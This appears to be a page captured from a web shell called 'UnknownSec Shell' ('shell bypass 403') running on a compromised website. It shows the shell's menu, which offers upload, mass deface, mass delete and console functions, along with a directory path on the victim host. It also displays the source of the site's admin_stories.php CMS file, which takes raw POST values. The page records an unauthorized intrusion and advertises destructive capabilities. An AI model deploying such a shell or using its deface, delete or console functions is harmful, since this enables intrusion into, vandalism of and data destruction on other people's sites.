shell bypass 403
UnknownSec Shell
:
/
home
/
delvin
/
public_html
/ [
drwxr-x---
]
upload
mass deface
mass delete
console
info server
name :
admin_stories.php
<?php include('ini.php'); $Template = new Template; $Story = new Story; $error = false; if ($_POST['submitBut'] == 'Save'){ if ($_POST['stTitle'] == '' || $_POST['stDescript'] == ''){ $error = true; } else { $stTitle = htmlentities($_POST['stTitle'], ENT_QUOTES); $Story->add_mod($_POST['storyID'], $stTitle, $_POST['stDescript'], $_POST['xMovieFile']); } } else if ($_POST['submitBut'] == 'updateRank'){ $Story->update_rank($_POST['storyID'], $_POST['rank'], $_POST['oldRank']); } else if ($_POST['submitBut'] == 'Confirm Delete'){ $Story->delete($_POST['storyID'], $_POST['oldRank']); } include('includes/admin_header.php'); echo $Template->get_alerts('error'); echo $Template->get_alerts('success'); if ($_SESSION['LID'] > 0){ // display views ===================== if ($_POST['submitBut'] == 'Add Story' || $_POST['submitBut'] == 'Edit' || ($_POST['submitBut'] == 'Save' && $error == true)){ $Template->load('views/v_admin_story_edit.php'); } else if ($_POST['submitBut'] == 'Delete'){ $Template->load('views/v_admin_story_del.php'); } else { $Template->load('views/v_admin_story.php'); } } else { echo "<div class='col-12 centre'>Please <a href='cms_login.php'>login</a>.</div>"; } include('includes/admin_footer.php'); ?>
© 2026 UnknownSec